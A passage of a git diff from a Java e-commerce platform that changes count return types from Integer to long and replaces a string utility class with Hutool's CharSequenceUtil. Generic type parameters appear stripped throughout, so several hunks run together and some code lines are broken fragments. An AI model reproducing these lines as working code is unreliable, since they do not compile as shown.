} diff --git a/framework/src/main/java/cn/lili/modules/member/service/FootprintService.java b/framework/src/main/java/cn/lili/modules/member/service/FootprintService.java index 624683d5..fc5d8ca3 100644 --- a/framework/src/main/java/cn/lili/modules/member/service/FootprintService.java +++ b/framework/src/main/java/cn/lili/modules/member/service/FootprintService.java @@ -51,5 +51,5 @@ public interface FootprintService extends IService { * * @return 当前会员的浏览记录数量 */ - Integer getFootprintNum(); + long getFootprintNum(); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/member/service/MemberService.java b/framework/src/main/java/cn/lili/modules/member/service/MemberService.java index 294b7301..a4256c17 100644 --- a/framework/src/main/java/cn/lili/modules/member/service/MemberService.java +++ b/framework/src/main/java/cn/lili/modules/member/service/MemberService.java @@ -203,7 +203,7 @@ public interface MemberService extends IService { * @param memberSearchVO * @return 会员总数 */ - Integer getMemberNum(MemberSearchVO memberSearchVO); + long getMemberNum(MemberSearchVO memberSearchVO); /** * 获取指定会员数据 diff --git a/framework/src/main/java/cn/lili/modules/member/serviceimpl/FootprintServiceImpl.java b/framework/src/main/java/cn/lili/modules/member/serviceimpl/FootprintServiceImpl.java index c9c0be86..ff5dd16c 100644 --- a/framework/src/main/java/cn/lili/modules/member/serviceimpl/FootprintServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/member/serviceimpl/FootprintServiceImpl.java @@ -1,13 +1,13 @@ package cn.lili.modules.member.serviceimpl; import cn.lili.common.security.context.UserContext; -import cn.lili.mybatis.util.PageUtil; import cn.lili.common.vo.PageVO; import cn.lili.modules.member.entity.dos.FootPrint; import cn.lili.modules.member.mapper.FootprintMapper; import cn.lili.modules.member.service.FootprintService; import cn.lili.modules.search.entity.dos.EsGoodsIndex; import cn.lili.modules.search.service.EsGoodsSearchService; +import cn.lili.mybatis.util.PageUtil; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.toolkit.Wrappers; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; @@ -15,6 +15,7 @@ import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; +import java.util.Collections; import java.util.Date; import java.util.List; import java.util.Objects; @@ -81,19 +82,19 @@ public class FootprintServiceImpl extends ServiceImpl skuIdList = this.baseMapper.footprintSkuIdList(PageUtil.initPage(pageVO), lambdaQueryWrapper); - if (skuIdList.size() > 0) { + if (!skuIdList.isEmpty()) { List list = esGoodsSearchService.getEsGoodsBySkuIds(skuIdList); //去除为空的商品数据 list.removeIf(Objects::isNull); return list; } - return null; + return Collections.emptyList(); } @Override - public Integer getFootprintNum() { + public long getFootprintNum() { LambdaQueryWrapper lambdaQueryWrapper = Wrappers.lambdaQuery(); - lambdaQueryWrapper.eq(FootPrint::getMemberId, UserContext.getCurrentUser().getId()); + lambdaQueryWrapper.eq(FootPrint::getMemberId, Objects.requireNonNull(UserContext.getCurrentUser()).getId()); lambdaQueryWrapper.eq(FootPrint::getDeleteFlag, false); return this.count(lambdaQueryWrapper); } diff --git a/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberServiceImpl.java b/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberServiceImpl.java index 75e16601..1695271e 100644 --- a/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberServiceImpl.java @@ -17,7 +17,6 @@ import cn.lili.common.security.token.Token; import cn.lili.common.sensitive.SensitiveWordsFilter; import cn.lili.common.utils.BeanUtil; import cn.lili.common.utils.CookieUtil; -import cn.lili.common.utils.StringUtils; import cn.lili.common.utils.UuidUtils; import cn.lili.common.vo.PageVO; import cn.lili.modules.connect.config.ConnectAuthEnum; @@ -104,7 +103,7 @@ public class MemberServiceImpl extends ServiceImpl impleme @Override public Member findByUsername(String userName) { - QueryWrapper queryWrapper = new QueryWrapper(); + QueryWrapper queryWrapper = new QueryWrapper<>(); queryWrapper.eq("username", userName); return this.baseMapper.selectOne(queryWrapper); } @@ -121,7 +120,7 @@ public class MemberServiceImpl extends ServiceImpl impleme @Override public boolean findByMobile(String uuid, String mobile) { - QueryWrapper queryWrapper = new QueryWrapper(); + QueryWrapper queryWrapper = new QueryWrapper<>(); queryWrapper.eq("mobile", mobile); Member member = this.baseMapper.selectOne(queryWrapper); if (member == null) { @@ -160,7 +159,7 @@ public class MemberServiceImpl extends ServiceImpl impleme throw new ServiceException(ResultCode.USER_PASSWORD_ERROR); } //对店铺状态的判定处理 - if (member.getHaveStore()) { + if (Boolean.TRUE.equals(member.getHaveStore())) { Store store = storeService.getById(member.getStoreId()); if (!store.getStoreDisable().equals(StoreStatusEnum.OPEN.name())) { throw new ServiceException(ResultCode.STORE_CLOSE_ERROR); @@ -175,11 +174,11 @@ public class MemberServiceImpl extends ServiceImpl impleme /** * 传递手机号或者用户名 * - * @param userName - * @return + * @param userName 手机号或者用户名 + * @return 会员信息 */ private Member findMember(String userName) { - QueryWrapper queryWrapper = new QueryWrapper(); + QueryWrapper queryWrapper = new QueryWrapper<>(); queryWrapper.eq("username", userName).or().eq("mobile", userName); return this.getOne(queryWrapper); } @@ -187,10 +186,10 @@ public class MemberServiceImpl extends ServiceImpl impleme @Override public Token autoRegister(ConnectAuthUser authUser) { - if (StringUtils.isEmpty(authUser.getNickname())) { + if (CharSequenceUtil.isEmpty(authUser.getNickname())) { authUser.setNickname("临时昵称"); } - if (StringUtils.isEmpty(authUser.getAvatar())) { + if (CharSequenceUtil.isEmpty(authUser.getAvatar())) { authUser.setAvatar("https://i.loli.net/2020/11/19/LyN6JF7zZRskdIe.png"); } try { @@ -364,13 +363,13 @@ public class MemberServiceImpl extends ServiceImpl impleme public IPage getMemberPage(MemberSearchVO memberSearchVO, PageVO page) { QueryWrapper queryWrapper = Wrappers.query(); //用户名查询 - queryWrapper.like(StringUtils.isNotBlank(memberSearchVO.getUsername()), "username", memberSearchVO.getUsername()); + queryWrapper.like(CharSequenceUtil.isNotBlank(memberSearchVO.getUsername()), "username", memberSearchVO.getUsername()); //用户名查询 - queryWrapper.like(StringUtils.isNotBlank(memberSearchVO.getNickName()), "nick_name", memberSearchVO.getNickName()); + queryWrapper.like(CharSequenceUtil.isNotBlank(memberSearchVO.getNickName()), "nick_name", memberSearchVO.getNickName()); //按照电话号码查询 - queryWrapper.like(StringUtils.isNotBlank(memberSearchVO.getMobile()), "mobile", memberSearchVO.getMobile()); + queryWrapper.like(CharSequenceUtil.isNotBlank(memberSearchVO.getMobile()), "mobile", memberSearchVO.getMobile()); //按照会员状态查询 - queryWrapper.eq(StringUtils.isNotBlank(memberSearchVO.getDisabled()), "disabled", + queryWrapper.eq(CharSequenceUtil.isNotBlank(memberSearchVO.getDisabled()), "disabled", memberSearchVO.getDisabled().equals(SwitchEnum.OPEN.name()) ? 1 : 0); queryWrapper.orderByDesc("create_time"); return this.baseMapper.pageByMemberVO(PageUtil.initPage(page), queryWrapper); @@ -398,7 +397,7 @@ public class MemberServiceImpl extends ServiceImpl impleme } member.setPoint(currentPoint); member.setTotalPoint(totalPoint); - Boolean result = this.updateById(member); + boolean result = this.updateById(member); if (result) { //发送会员消息 MemberPointMessage memberPointMessage = new MemberPointMessage(); @@ -423,6 +422,7 @@ public class MemberServiceImpl extends ServiceImpl impleme return this.update(updateWrapper); } + /** * 根据手机号获取会员 * @@ -430,7 +430,7 @@ public class MemberServiceImpl extends ServiceImpl impleme * @return 会员 */ private Member findByPhone(String mobilePhone) { - QueryWrapper queryWrapper = new QueryWrapper(); + QueryWrapper queryWrapper = new QueryWrapper<>(); queryWrapper.eq("mobile", mobilePhone); return this.baseMapper.selectOne(queryWrapper); } @@ -440,7 +440,7 @@ public class MemberServiceImpl extends ServiceImpl impleme * * @param uuid uuid * @param type 状态 - * @return + * @return cookie中的联合登录对象 */ private ConnectAuthUser getConnectAuthUser(String uuid, String type) { Object context = cache.get(ConnectService.cacheKey(type, uuid)); @@ -477,7 +477,7 @@ public class MemberServiceImpl extends ServiceImpl impleme String uuid = CookieUtil.getCookie(ConnectService.CONNECT_COOKIE, ThreadContextHolder.getHttpRequest()); String connectType = CookieUtil.getCookie(ConnectService.CONNECT_TYPE, ThreadContextHolder.getHttpRequest()); //如果联合登陆存储了信息 - if (StringUtils.isNotEmpty(uuid) && StringUtils.isNotEmpty(connectType)) { + if (CharSequenceUtil.isNotEmpty(uuid) && CharSequenceUtil.isNotEmpty(connectType)) { try { //获取信息 ConnectAuthUser connectAuthUser = getConnectAuthUser(uuid, connectType); @@ -518,28 +518,24 @@ public class MemberServiceImpl extends ServiceImpl impleme String connectType = CookieUtil.getCookie(ConnectService.CONNECT_TYPE, ThreadContextHolder.getHttpRequest()); //如果联合登陆存储了信息 - if (StringUtils.isNotEmpty(uuid) && StringUtils.isNotEmpty(connectType)) { - try { - //枚举 联合登陆类型获取 - ConnectAuthEnum authInterface = ConnectAuthEnum.valueOf(connectType); + if (CharSequenceUtil.isNotEmpty(uuid) && CharSequenceUtil.isNotEmpty(connectType)) { + //枚举 联合登陆类型获取 + ConnectAuthEnum authInterface = ConnectAuthEnum.valueOf(connectType); - ConnectAuthUser connectAuthUser = getConnectAuthUser(uuid, connectType); - if (connectAuthUser == null) { - throw new ServiceException(ResultCode.USER_OVERDUE_CONNECT_ERROR); - } - //检测是否已经绑定过用户 - Connect connect = connectService.queryConnect( - ConnectQueryDTO.builder().unionType(connectType).unionId(connectAuthUser.getUuid()).build() - ); - //没有关联则返回true,表示可以继续绑定 - if (connect == null) { - connectAuthUser.setConnectEnum(authInterface); - return connectAuthUser; - } else { - throw new ServiceException(ResultCode.USER_CONNECT_BANDING_ERROR); - } - } catch (Exception e) { - throw e; + ConnectAuthUser connectAuthUser = getConnectAuthUser(uuid, connectType); + if (connectAuthUser == null) { + throw new ServiceException(ResultCode.USER_OVERDUE_CONNECT_ERROR); + } + //检测是否已经绑定过用户 + Connect connect = connectService.queryConnect( + ConnectQueryDTO.builder().unionType(connectType).unionId(connectAuthUser.getUuid()).build() + ); + //没有关联则返回true,表示可以继续绑定 + if (connect == null) { + connectAuthUser.setConnectEnum(authInterface); + return connectAuthUser; + } else { + throw new ServiceException(ResultCode.USER_CONNECT_BANDING_ERROR); } } else { throw new ServiceException(ResultCode.USER_CONNECT_NOT_EXIST_ERROR); @@ -547,14 +543,14 @@ public class MemberServiceImpl extends ServiceImpl impleme } @Override - public Integer getMemberNum(MemberSearchVO memberSearchVO) { + public long getMemberNum(MemberSearchVO memberSearchVO) { QueryWrapper queryWrapper = Wrappers.query(); //用户名查询 - queryWrapper.like(StringUtils.isNotBlank(memberSearchVO.getUsername()), "username", memberSearchVO.getUsername()); + queryWrapper.like(CharSequenceUtil.isNotBlank(memberSearchVO.getUsername()), "username", memberSearchVO.getUsername()); //按照电话号码查询 - queryWrapper.like(StringUtils.isNotBlank(memberSearchVO.getMobile()), "mobile", memberSearchVO.getMobile()); + queryWrapper.like(CharSequenceUtil.isNotBlank(memberSearchVO.getMobile()), "mobile", memberSearchVO.getMobile()); //按照状态查询 - queryWrapper.eq(StringUtils.isNotBlank(memberSearchVO.getDisabled()), "disabled", + queryWrapper.eq(CharSequenceUtil.isNotBlank(memberSearchVO.getDisabled()), "disabled", memberSearchVO.getDisabled().equals(SwitchEnum.OPEN.name()) ? 1 : 0); queryWrapper.orderByDesc("create_time"); return this.count(queryWrapper); diff --git a/framework/src/main/java/cn/lili/modules/order/order/entity/dto/OrderSearchParams.java b/framework/src/main/java/cn/lili/modules/order/order/entity/dto/OrderSearchParams.java index c3a4950a..895b2f41 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/entity/dto/OrderSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/order/order/entity/dto/OrderSearchParams.java @@ -129,7 +129,7 @@ public class OrderSearchParams extends PageVO { && CharSequenceUtil.isNotEmpty(storeId), "o.store_id", storeId); //按买家查询 - wrapper.eq(CharSequenceUtil.equals(currentUser.getRole().name(), UserEnums.MEMBER.name()) && CharSequenceUtil.isEmpty(memberId), "o.member_id", currentUser.getId()); + wrapper.eq(CharSequenceUtil.equals(currentUser.getRole().name(), UserEnums.MEMBER.name()) && memberId == null, "o.member_id", currentUser.getId()); } //按照买家查询 diff --git a/framework/src/main/java/cn/lili/modules/order/order/service/OrderComplaintService.java b/framework/src/main/java/cn/lili/modules/order/order/service/OrderComplaintService.java index 7ab562da..3750ee3c 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/service/OrderComplaintService.java +++ b/framework/src/main/java/cn/lili/modules/order/order/service/OrderComplaintService.java @@ -72,7 +72,7 @@ public interface OrderComplaintService extends IService { * * @return 待处理投诉数量 */ - Integer waitComplainNum(); + long waitComplainNum(); /** * 取消交易投诉 diff --git a/framework/src/main/java/cn/lili/modules/order/order/service/OrderService.java b/framework/src/main/java/cn/lili/modules/order/order/service/OrderService.java index abbd337a..e6396dcd 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/service/OrderService.java +++ b/framework/src/main/java/cn/lili/modules/order/order/service/OrderService.java @@ -79,7 +79,7 @@ public interface OrderService extends IService { * @param orderSn 订单编号 * @return 订单信息 */ - Integer queryCountByPromotion(String orderPromotionType, String payStatus, String parentOrderSn, String orderSn); + long queryCountByPromotion(String orderPromotionType, String payStatus, String parentOrderSn, String orderSn); /** * 父级拼团订单分组 diff --git a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderComplaintServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderComplaintServiceImpl.java index 53746d82..405c712a 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderComplaintServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/OrderComplaintServiceImpl.java @@ -1,6 +1,6 @@ package cn.lili.modules.order.order.serviceimpl; -import cn.hutool.core.util.StrUtil; +import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; import cn.lili.common.security.AuthUser; @@ -8,7 +8,6 @@ import cn.lili.common.security.OperationalJudgment; import cn.lili.common.security.context.UserContext; import cn.lili.common.security.enums.UserEnums; import cn.lili.common.utils.BeanUtil; -import cn.lili.common.utils.StringUtils; import cn.lili.common.vo.PageVO; import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.goods.service.GoodsSkuService; @@ -206,10 +205,10 @@ public class OrderComplaintServiceImpl extends ServiceImpl lambdaUpdateWrapper = Wrappers.lambdaUpdate(); @@ -250,12 +249,12 @@ public class OrderComplaintServiceImpl extends ServiceImpl implements * @return 订单信息 */ @Override - public Integer queryCountByPromotion(String orderPromotionType, String payStatus, String parentOrderSn, String orderSn) { + public long queryCountByPromotion(String orderPromotionType, String payStatus, String parentOrderSn, String orderSn) { LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); //查找团长订单和已和当前拼团订单拼团的订单 queryWrapper.eq(Order::getOrderPromotionType, orderPromotionType) diff --git a/framework/src/main/java/cn/lili/modules/payment/kit/core/kit/PayKit.java b/framework/src/main/java/cn/lili/modules/payment/kit/core/kit/PayKit.java index 8dd5a458..35cb4187 100644 --- a/framework/src/main/java/cn/lili/modules/payment/kit/core/kit/PayKit.java +++ b/framework/src/main/java/cn/lili/modules/payment/kit/core/kit/PayKit.java @@ -44,7 +44,7 @@ public class PayKit { * @return sha256 字符串 */ public static String hmacSha256(String data, String key) { - return SecureUtil.hmac(HmacAlgorithm.HmacSHA256, key).digestHex(data, CharsetUtil.UTF_8); + return SecureUtil.hmac(HmacAlgorithm.HmacSHA256, key).digestHex(data); } /** diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanMemberVO.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanMemberVO.java index 7b1ce33f..99d65b1f 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanMemberVO.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PintuanMemberVO.java @@ -33,13 +33,13 @@ public class PintuanMemberVO { private String orderSn; @ApiModelProperty(value = "已参团人数") - private Integer groupedNum; + private long groupedNum; @ApiModelProperty(value = "待参团人数") - private Integer toBeGroupedNum; + private long toBeGroupedNum; @ApiModelProperty(value = "成团人数") - private Integer groupNum; + private long groupNum; public PintuanMemberVO(Member member) { this.memberId = member.getId(); diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/MemberCouponService.java b/framework/src/main/java/cn/lili/modules/promotion/service/MemberCouponService.java index 429915ec..56355b2e 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/MemberCouponService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/MemberCouponService.java @@ -93,7 +93,7 @@ public interface MemberCouponService extends IService { * * @return 会员优惠券数量 */ - Integer getMemberCouponsNum(); + long getMemberCouponsNum(); /** * 更新会员优惠券状态 diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/SeckillService.java b/framework/src/main/java/cn/lili/modules/promotion/service/SeckillService.java index eecb42c3..b0edb0b5 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/SeckillService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/SeckillService.java @@ -37,7 +37,7 @@ public interface SeckillService extends AbstractPromotionsService { * * @return 可参与活动数量 */ - Integer getApplyNum(); + long getApplyNum(); /** * 更新秒杀活动的商品数量 diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityLogServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityLogServiceImpl.java index 88152983..b0bfde1c 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityLogServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/KanjiaActivityLogServiceImpl.java @@ -55,7 +55,7 @@ public class KanjiaActivityLogServiceImpl extends ServiceImpl queryWrapper = new LambdaQueryWrapper(); queryWrapper.eq(kanjiaActivityDTO.getKanjiaActivityId() != null, KanjiaActivityLog::getKanjiaActivityId, kanjiaActivityDTO.getKanjiaActivityId()); queryWrapper.eq( KanjiaActivityLog::getKanjiaMemberId, UserContext.getCurrentUser().getId()); - Integer count = this.baseMapper.selectCount(queryWrapper); + long count = this.baseMapper.selectCount(queryWrapper); if (count > 0) { throw new ServiceException(ResultCode.KANJIA_ACTIVITY_LOG_MEMBER_ERROR); } diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/MemberCouponServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/MemberCouponServiceImpl.java index a42c5f30..b43db085 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/MemberCouponServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/MemberCouponServiceImpl.java @@ -50,7 +50,7 @@ public class MemberCouponServiceImpl extends ServiceImpl queryWrapper = new LambdaQueryWrapper() .eq(MemberCoupon::getCouponId, couponId) .eq(MemberCoupon::getMemberId, memberId); - int haveCoupons = this.count(queryWrapper); + long haveCoupons = this.count(queryWrapper); if (!PromotionsStatusEnum.START.name().equals(coupon.getPromotionStatus())) { throw new ServiceException(ResultCode.COUPON_RECEIVE_ERROR); } @@ -167,7 +167,7 @@ public class MemberCouponServiceImpl extends ServiceImpl queryWrapper = Wrappers.query(); queryWrapper.eq("member_id", authUser.getId()); diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java index 86714e0b..ffe90e9e 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java @@ -158,7 +158,7 @@ public class PintuanServiceImpl extends AbstractPromotionsServiceImpl queryWrapper = PromotionTools.checkActiveTime(new Date(startTime), new Date(endTime), PromotionTypeEnum.PINTUAN, pintuan.getStoreId(), id); - int sameNum = this.count(queryWrapper); + long sameNum = this.count(queryWrapper); //当前时间段是否存在同类活动 if (sameNum > 0) { throw new ServiceException(ResultCode.PROMOTION_SAME_ACTIVE_EXIST); @@ -177,7 +177,7 @@ public class PintuanServiceImpl extends AbstractPromotionsServiceImpl queryWrapper = PromotionTools.checkActiveTime(promotions.getStartTime(), promotions.getEndTime(), PromotionTypeEnum.PINTUAN, promotions.getStoreId(), promotions.getId()); - int sameNum = this.count(queryWrapper); + long sameNum = this.count(queryWrapper); //当前时间段是否存在同类活动 if (sameNum > 0) { throw new ServiceException(ResultCode.PROMOTION_SAME_ACTIVE_EXIST); @@ -260,9 +260,9 @@ public class PintuanServiceImpl extends AbstractPromotionsServiceImpl queryWrapper = new LambdaQueryWrapper<>(); queryWrapper.ge(Seckill::getApplyEndTime, now); @@ -194,7 +194,7 @@ public class SeckillServiceImpl extends AbstractPromotionsServiceImpl queryWrapper = PromotionTools.checkActiveTime(promotions.getStartTime(), promotions.getEndTime(), PromotionTypeEnum.SECKILL, null, promotions.getId()); - int sameNum = this.count(queryWrapper); + long sameNum = this.count(queryWrapper); //当前时间段是否存在同类活动 if (sameNum > 0) { throw new ServiceException(ResultCode.PROMOTION_SAME_ACTIVE_EXIST); diff --git a/framework/src/main/java/cn/lili/modules/search/serviceimpl/CustomWordsServiceImpl.java b/framework/src/main/java/cn/lili/modules/search/serviceimpl/CustomWordsServiceImpl.java index 6cdf3b00..c01db760 100644 --- a/framework/src/main/java/cn/lili/modules/search/serviceimpl/CustomWordsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/search/serviceimpl/CustomWordsServiceImpl.java @@ -118,7 +118,7 @@ public class CustomWordsServiceImpl extends ServiceImpl queryWrapper = new LambdaQueryWrapper().eq(CustomWords::getName, words); - int count = count(queryWrapper); + long count = count(queryWrapper); return count > 0; } } diff --git a/framework/src/main/java/cn/lili/modules/statistics/entity/dos/MemberStatisticsData.java b/framework/src/main/java/cn/lili/modules/statistics/entity/dos/MemberStatisticsData.java index 39e90891..ad6df23d 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/entity/dos/MemberStatisticsData.java +++ b/framework/src/main/java/cn/lili/modules/statistics/entity/dos/MemberStatisticsData.java @@ -27,13 +27,13 @@ public class MemberStatisticsData extends BaseIdEntity { private Date createDate; @ApiModelProperty(value = "当前会员数量") - private Integer memberCount; + private Long memberCount; @ApiModelProperty(value = "新增会员数量") - private Integer newlyAdded; + private Long newlyAdded; @ApiModelProperty(value = "当日活跃数量") - private Integer activeQuantity; + private Long activeQuantity; } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/statistics/entity/vo/IndexNoticeVO.java b/framework/src/main/java/cn/lili/modules/statistics/entity/vo/IndexNoticeVO.java index 56b3f0f5..beca7f8d 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/entity/vo/IndexNoticeVO.java +++ b/framework/src/main/java/cn/lili/modules/statistics/entity/vo/IndexNoticeVO.java @@ -13,21 +13,21 @@ import lombok.Data; public class IndexNoticeVO { @ApiModelProperty(value = "待处理商品审核") - private Integer goods; + private Long goods; @ApiModelProperty(value = "待处理店铺入驻审核") - private Integer store; + private Long store; @ApiModelProperty(value = "待处理售后申请") - private Integer refund; + private Long refund; @ApiModelProperty(value = "待处理投诉审核") - private Integer complain; + private Long complain; @ApiModelProperty(value = "待处理分销员提现申请") - private Integer distributionCash; + private Long distributionCash; @ApiModelProperty(value = "待处理商家结算") - private Integer waitPayBill; + private Long waitPayBill; } diff --git a/framework/src/main/java/cn/lili/modules/statistics/entity/vo/IndexStatisticsVO.java b/framework/src/main/java/cn/lili/modules/statistics/entity/vo/IndexStatisticsVO.java index e449bd9e..3e5645a1 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/entity/vo/IndexStatisticsVO.java +++ b/framework/src/main/java/cn/lili/modules/statistics/entity/vo/IndexStatisticsVO.java @@ -13,13 +13,13 @@ import lombok.Data; public class IndexStatisticsVO { @ApiModelProperty(value = "订单总数量") - private Integer orderNum; + private Long orderNum; @ApiModelProperty(value = "商品总数量") - private Integer goodsNum; + private Long goodsNum; @ApiModelProperty(value = "会员总数量") - private Integer memberNum; + private Long memberNum; @ApiModelProperty(value = "店铺总数量") - private Integer storeNum; + private Long storeNum; /** * 流量概括 @@ -41,13 +41,13 @@ public class IndexStatisticsVO { @ApiModelProperty(value = "今日下单金额") private Double todayOrderPrice; @ApiModelProperty(value = "今日新增会员数量") - private Integer todayMemberNum; + private Long todayMemberNum; @ApiModelProperty(value = "今日新增商品数量") - private Integer todayGoodsNum; + private Long todayGoodsNum; @ApiModelProperty(value = "今日新增店铺数量") - private Integer todayStoreNum; + private Long todayStoreNum; @ApiModelProperty(value = "今日新增评论数量") - private Integer todayMemberEvaluation; + private Long todayMemberEvaluation; @ApiModelProperty(value = "当前在线人数") private Long currentNumberPeopleOnline; } diff --git a/framework/src/main/java/cn/lili/modules/statistics/entity/vo/StoreIndexStatisticsVO.java b/framework/src/main/java/cn/lili/modules/statistics/entity/vo/StoreIndexStatisticsVO.java index f4b013f0..d3d2d5d5 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/entity/vo/StoreIndexStatisticsVO.java +++ b/framework/src/main/java/cn/lili/modules/statistics/entity/vo/StoreIndexStatisticsVO.java @@ -13,7 +13,7 @@ import lombok.Data; public class StoreIndexStatisticsVO { @ApiModelProperty(value = "商品总数量") - private Integer goodsNum; + private Long goodsNum; @ApiModelProperty(value = "订单总数量") private Integer orderNum; @ApiModelProperty(value = "订单总额") @@ -22,30 +22,30 @@ public class StoreIndexStatisticsVO { private Integer storeUV; @ApiModelProperty(value = "待付款订单数量") - private Integer unPaidOrder; + private Long unPaidOrder; @ApiModelProperty(value = "待发货订单数量") - private Integer unDeliveredOrder; + private Long unDeliveredOrder; @ApiModelProperty(value = "待收货订单数量") - private Integer deliveredOrder; + private Long deliveredOrder; @ApiModelProperty(value = "待处理退货数量") - private Integer returnGoods; + private Long returnGoods; @ApiModelProperty(value = "待处理退款数量") - private Integer returnMoney; + private Long returnMoney; @ApiModelProperty(value = "待回复评价数量") - private Integer memberEvaluation; + private Long memberEvaluation; @ApiModelProperty(value = "待处理交易投诉数量") - private Integer complaint; + private Long complaint; @ApiModelProperty(value = "待上架商品数量") - private Integer waitUpper; + private Long waitUpper; @ApiModelProperty(value = "待审核商品数量") - private Integer waitAuth; + private Long waitAuth; @ApiModelProperty(value = "可参与秒杀活动数量") - private Integer seckillNum; + private Long seckillNum; @ApiModelProperty(value = "未对账结算单数量") - private Integer waitPayBill; + private Long waitPayBill; } diff --git a/framework/src/main/java/cn/lili/modules/statistics/mapper/MemberStatisticsMapper.java b/framework/src/main/java/cn/lili/modules/statistics/mapper/MemberStatisticsMapper.java index 4e9f0206..e578425d 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/mapper/MemberStatisticsMapper.java +++ b/framework/src/main/java/cn/lili/modules/statistics/mapper/MemberStatisticsMapper.java @@ -25,7 +25,7 @@ public interface MemberStatisticsMapper extends BaseMapper * @return 会员统计数量 */ @Select("SELECT COUNT(0) FROM li_member ${ew.customSqlSegment}") - Integer customSqlQuery(@Param(Constants.WRAPPER) Wrapper queryWrapper); + long customSqlQuery(@Param(Constants.WRAPPER) Wrapper queryWrapper); /** diff --git a/framework/src/main/java/cn/lili/modules/statistics/service/AfterSaleStatisticsService.java b/framework/src/main/java/cn/lili/modules/statistics/service/AfterSaleStatisticsService.java index 20d8be4d..d1c11230 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/service/AfterSaleStatisticsService.java +++ b/framework/src/main/java/cn/lili/modules/statistics/service/AfterSaleStatisticsService.java @@ -20,7 +20,7 @@ public interface AfterSaleStatisticsService extends IService { * @param serviceType 售后类型 * @return 待处理售后数量 */ - Integer applyNum(String serviceType); + long applyNum(String serviceType); /** * 获取统计的售后 diff --git a/framework/src/main/java/cn/lili/modules/statistics/service/BillStatisticsService.java b/framework/src/main/java/cn/lili/modules/statistics/service/BillStatisticsService.java index e2d92099..07d6ea3f 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/service/BillStatisticsService.java +++ b/framework/src/main/java/cn/lili/modules/statistics/service/BillStatisticsService.java @@ -18,5 +18,5 @@ public interface BillStatisticsService extends IService { * @param billStatusEnum 结算单类型 * @return 待结算商家数量 */ - Integer billNum(BillStatusEnum billStatusEnum); + long billNum(BillStatusEnum billStatusEnum); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/statistics/service/DistributionCashStatisticsService.java b/framework/src/main/java/cn/lili/modules/statistics/service/DistributionCashStatisticsService.java index 0facd4aa..c7d6bad3 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/service/DistributionCashStatisticsService.java +++ b/framework/src/main/java/cn/lili/modules/statistics/service/DistributionCashStatisticsService.java @@ -16,5 +16,5 @@ public interface DistributionCashStatisticsService extends IService { /** * 获取所有的已上架的商品数量 * - * @param goodsAuthEnum 商品审核枚举 * @param goodsStatusEnum 商品状态枚举 + * @param goodsAuthEnum 商品审核枚举 * @return 所有的已上架的商品数量 */ - Integer goodsNum(GoodsStatusEnum goodsStatusEnum, GoodsAuthEnum goodsAuthEnum); + long goodsNum(GoodsStatusEnum goodsStatusEnum, GoodsAuthEnum goodsAuthEnum); /** * 获取今天的已上架的商品数量 * * @return 今天的已上架的商品数量 */ - Integer todayUpperNum(); + long todayUpperNum(); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/statistics/service/MemberEvaluationStatisticsService.java b/framework/src/main/java/cn/lili/modules/statistics/service/MemberEvaluationStatisticsService.java index e2d3d3f5..585c754c 100644 --- 